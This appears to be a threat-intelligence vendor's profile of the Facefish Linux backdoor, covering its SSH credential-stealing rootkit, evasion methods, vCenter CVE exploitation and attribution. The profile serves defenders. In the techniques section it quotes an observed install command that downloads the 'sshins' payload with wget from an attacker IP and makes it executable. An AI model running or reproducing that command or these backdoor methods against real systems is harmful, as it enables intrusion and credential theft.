Loading malware…
Facefish is a Linux backdoor comprising an ELF dropper and an LD_PRELOAD-based user-space rootkit. It targets 64-bit Linux systems and OpenSSH, with additional logic to adapt its rootkit for FreeBSD. The dropper checks for root privileges, installs a malicious shared library, configures system-wide preloading, and restarts SSH services to load the implant. The rootkit hooks SSH client and server functions to capture account names, passwords, and remote-host information, which it transmits to its command-and-control server. It also collects hardware, network, and SSH configuration information and supports arbitrary command execution and reverse shells.
Facefish uses Diffie–Hellman key exchange and Blowfish encryption for command-and-control communications. Its evasion mechanisms include UPX packing, encrypted configuration stored as appended data, removal of ELF section information, and randomized re-encryption of the rootkit configuration, producing different payload hashes across deployments. Observed installation chains also delete downloaded payloads and clear access-log entries and shell history.
Facefish has been deployed through exploitation of Control Web Panel vulnerabilities. The hacktivist group Twelve also used it in an intrusion involving VMware vCenter vulnerabilities CVE-2021-21972 and CVE-2021-22005, installing a web shell before deploying the backdoor. This use occurred within Twelve's broader campaigns against Russian organizations, including government targets.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. ... the latter is an arbitrary file upload vulnerability in the server. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. The former vulnerability can be found in the platform’s client and allows remote code execution. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
...prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023).
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Accept command 0x302, reverse shell. | Accept command 0x310, execute any system command Send instruction 0x311 to return the result of bash execution
we discovered a large number of web shells... All the web shells were written in PHP and bore random names
bot sends 0x305 command to C2... receives and decrypts a C2 command, and then disconnects the TCP connection.
the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins;
164 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Backdoor loaded via a web shell on VMware vCenter; it saves a shared library, injects it into the sshd process using ld.so.preload, and restarts SSH to maintain covert access.
Earlier iteration of the PUMAKIT kernel rootkit lineage.
Named malware represented by numerous hashes for libs.so and artifacts including ssh1200, ssh3600, and sshins. Command logs show ssh3600 being downloaded from eu-debian.com, made executable, run, and deleted. Additional capabilities are not described.
Backdoor dropped after exploitation of VMware vCenter vulnerabilities, used to maintain unauthorized access to victim environments.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.